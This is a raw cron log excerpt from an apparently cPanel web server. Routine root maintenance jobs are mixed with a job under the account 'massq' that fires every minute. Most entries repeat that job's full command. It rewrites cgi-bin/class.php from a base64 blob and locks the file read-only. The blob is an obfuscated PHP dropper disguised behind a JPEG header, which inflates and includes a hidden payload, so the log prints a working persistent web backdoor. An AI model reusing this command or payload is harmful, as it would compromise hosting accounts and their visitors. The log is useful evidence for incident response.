Apr 11 07:54:01 server CROND[4765]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 07:55:01 server CROND[4817]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 07:55:01 server CROND[4818]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 07:55:01 server CROND[4819]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 07:56:01 server CROND[5011]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 07:57:01 server CROND[5077]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 11 07:57:01 server CROND[5078]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 07:58:01 server CROND[5131]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 07:59:01 server CROND[5191]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 08:00:01 server CROND[5247]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 08:00:01 server CROND[5249]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Apr 11 08:00:01 server CROND[5251]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 08:00:01 server CROND[5253]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 11 08:00:01 server CROND[5250]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/checkdbs)
Apr 11 08:00:01 server CROND[5252]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 08:01:01 server CROND[5472]: (root) CMD (run-parts /etc/cron.hourly)
Apr 11 08:01:01 server CROND[5473]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 08:01:02 server run-parts(/etc/cron.hourly)[5472]: starting 0anacron
Apr 11 08:01:02 server run-parts(/etc/cron.hourly)[5485]: finished 0anacron
Apr 11 08:02:01 server CROND[5538]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 08:03:01 server CROND[5594]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 08:04:01 server CROND[5661]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 08:05:01 server CROND[5719]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 08:05:01 server CROND[5720]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Apr 11 08:05:01 server CROND[5722]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 08:05:01 server CROND[5721]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 11 08:05:01 server CROND[5726]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 08:06:01 server CROND[5848]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 08:07:01 server CROND[5956]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo 